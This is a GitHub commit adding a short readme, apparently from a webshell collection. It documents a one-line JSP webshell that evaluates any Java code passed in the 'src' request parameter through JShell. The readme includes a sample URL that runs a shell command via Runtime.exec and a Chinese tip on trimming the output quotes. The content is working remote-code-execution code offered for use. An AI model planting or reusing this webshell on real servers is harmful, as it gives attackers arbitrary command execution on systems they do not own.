Create jshell.md

This commit is contained in:
tennc 2019-10-08 14:47:41 +08:00 committed by GitHub
parent 294061690e
commit e46fdc2bd8
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

9
jsp/p2j.cn/jshell.md Normal file
View file

@ -0,0 +1,9 @@
readme
![](http://p2j.cn/uploads/image/20190910/20190910185302_297.png)
测试用例http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()
如果强迫症想撸掉多余的输出:
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>